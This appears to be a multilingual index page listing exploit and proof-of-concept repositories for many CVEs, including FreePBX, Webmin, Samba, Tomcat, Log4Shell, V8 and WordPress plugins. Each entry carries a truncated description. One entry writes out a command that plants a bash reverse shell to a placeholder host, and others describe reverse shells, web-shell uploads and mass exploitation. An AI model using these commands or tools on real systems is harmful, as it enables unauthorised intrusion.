cve-2025-57819-exploit

CVE-2025-57819 Эксплойт Метаданные Критичность: Критический 9.8 Вектор: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H Тип: Неаутентифицированная SQL-инъекция → Удалённое выполнение кода Затронутое ПО: FreePBX модуль endpoint 15.0.66, 16.0.89 и 17.0.3 Протестировано на: FreePBX 16.0.40.7 на CentOS ...

CVE-2021-25646

usage: python3 CVE-2021-25646.py -u http://x.x.x.x -c cmd Обратный шелл выглядит следующим образом: Записать скрипт обратного шелла python3 CVE-2021-25646.py -u http://x.x.x.x -c "echo 'bash -i & /dev/tcp/x.x.x.x/xxxx 0&1' /tmp/1.sh" Дать права на выполнение скрипта python3 CVE-2021-25646.py -u...

htb-wifinetictwo-exploit

CVE-2021-31630 Preuve de concept PoC d'exploit Ce script Python est une preuve de concept PoC d'exploit pour CVE-2021-31630, ciblant une vulnérabilité dans OpenPLC exécuté sur la machine WifineticTwo chez HackTheBox. Il est conçu uniquement à des fins éducatives, visant à démontrer le processus...

CVE-2017-16997-poc

Использование Запустите ./CVE-2017-16997.sh . Если запускаете не от root, убедитесь, что можете получить права root через sudo. Подробности 1. https://nvd.nist.gov/vuln/detail/CVE-2017-16997...

CVE-2019-15107

CVE-2019-15107 Webmin 1.890 Неаутентифицированное удаленное выполнение кода Этот скрипт предназначен для эксплуатации уязвимости неаутентифицированного выполнения команд в Webmin 1.890. Он позволяет выполнять произвольные команды на целевом сервере Webmin или получать обратную оболочку...

CVE-2007-2447

CVE-2007-2447 Samba 3.0.0 - 3.0.25rc3은 원격 명령 주입 취약점CVE-2007-2447에 영향을 받으며, 원격 공격자가 셸 메타 문자를 포함하는 사용자 이름을 지정하여 임의의 명령을 실행할 수 있도록 허용합니다...

CVE-2026-49176_LPE_POC

CVE-2026-49176 SYSTEM Shell PoC Local privilege-escalation proof of concept for the Windows WalletService vulnerability fixed in July 2026. Technical write-up: CVE-2026-49176 Exploit Development: WalletService to SYSTEM. A standard user creates a Wallet ESE database containing a persisted callbac...

CVE-2024-56264

CVE-2024-56264 WordPress ACF City Selector — Эксплойт произвольной загрузки файлов CVE-2024-56264 Обзор Этот репозиторий содержит эксплойт для CVE-2024-56264 — уязвимости произвольной загрузки файлов , обнаруженной в плагине WordPress ACF City Selector версии = 1.14.0. Данная уязвимость позволяет...

CVE-2019-0232

Эксплойт для Apache Tomcat CVE-2019-0232 Этот скрипт эксплуатирует уязвимость CVE-2019-0232 в Apache Tomcat, которая позволяет удаленно выполнять код из-за неправильной обработки скрипта ism.bat. Скрипт использует технику реверс-шелла с помощью certutil и nc.exe Netcat для получения удаленного...

PCmanBoF

Переполнение буфера и удаленное выполнение кода FTP-сервера PCman CVE-2013-4730 Очень простое переполнение буфера с использованием CVE-2013-4730 против FTP-сервера PCman v.2.0.7 Как это работает? Это простое BoF перезаписывает буфер и выполняет шелл-код, который подключается обратно обратная...

CVE-2025-23942-poc

WP Load Gallery Exploit CVE-2025-23942 📌 Описание Уязвимость неограниченной загрузки файлов опасного типа Unrestricted Upload of File with Dangerous Type в плагине NgocCode WP Load Gallery позволяет загрузить веб-шелл на веб-сервер. Проблема затрагивает WP Load Gallery: с n/a по 2.1.6. ⚠️ Сведения...

APT-Backpack

APT-Sac à dos CVE les plus couramment utilisés par les APT, RAT légitimes et autres outils utilisés par les adversaires CVE CVE-2019-11510 Pulse Connect Secure 8.2 8.3 9.0 Lecture de fichier non autorisée CVE-2019-19781 Citrix ADC & Gateway Traversée de répertoire CVE-2020-5902 F5 Big IP RCE...

CVE-2024-4947-PoC

CVE-2024-4947 — Type Confusion в V8 Maglev → Полноценный RCE d8 PoC Полная автономная цепочка эксплуатации для CVE-2024-4947 type confusion в V8 Maglev — от исходного триггера type confusion до выполнения произвольного кода. PoC запускается против сборкиd8 без песочницы и выводит...

CVE-2021-44228-PoC

CVE-2021-44228 PoC PoC для CVE-2021-44228. Проект создан ТОЛЬКО В ОБРАЗОВАТЕЛЬНЫХ ЦЕЛЯХ. Эксплойт-сервер Этот проект создаёт два сервера: http и ldap. Оба необходимы для работы эксплойта. Указанный java-файл компилируется, и серверы запускаются в Dockerfile. Полезная нагрузка payload показывается...

zaphoxx-coldfusion

zaphoxx-coldfusion Эксплойт ColdFusion на основе https://cvedetails.com/cve/CVE-2009-2265/ Основной причиной, по которой я написал Python-скрипт для этого конкретного CVE, было то, что версия Metasploit для него не заработала у меня, когда я пытался решить машину Arctic на HTB. Кроме того, было...

CVE-2026-52618

CVE-2026-52618 — @webfer/mcp-ansible-drupal: OS command injection via executeDeployment extra vars spawncmd0, cmd.slice1, shell: true re-joins an argument array into a single /bin/sh -c string without escaping, so a shell metacharacter in an extraVars value supplied to the executeDeployment MCP...

CVE-2026-39987.py

CVE-2026-39987.py Этот Python-скрипт эксплуатирует уязвимую конечную точку marimo /terminal/ws и возвращает интерактивную оболочку. КАК ИСПОЛЬЗОВАТЬ : Единственное изменение, которое необходимо внести, — это изменить переменную HOST в скрипте. После изменения переменной HOST выполните скрипт в...

CVE-2020-8816

CVE-2020-8816 Un script Python pour exploiter la CVE-2020-8816, une vulnérabilité d'exécution de code à distance sur le Pi-hole. Ce script utilise les techniques découvertes par François Renaud-Philippon pour réaliser une exécution de code à distance sur un Pi-hole exécutant une interface web de...

CVE-2026-57811

CVE-2026-57811 — Realtyna Organic IDX + WPL Real Estate Неаутентифицированное удалённое выполнение кода -red.svg Критическое неаутентифицированное удалённое выполнение кода CVSS 10.0 — Realtyna Organic IDX + WPL Real Estate ≤ 5.2.0 Этот инструмент эксплуатирует CVE-2026-57811 , критическую...

solrradar

Фреймворк массовой разведки и эксплуатации для Apache Solr Внедрение Velocity-шаблона → Удалённое выполнение кода 📑 Содержание Обзор уязвимости Затронутые версии Возможности Установка Использование Доказательство концепции Техническое погружение Методология обнаружения Защита и смягчение Дисклейм...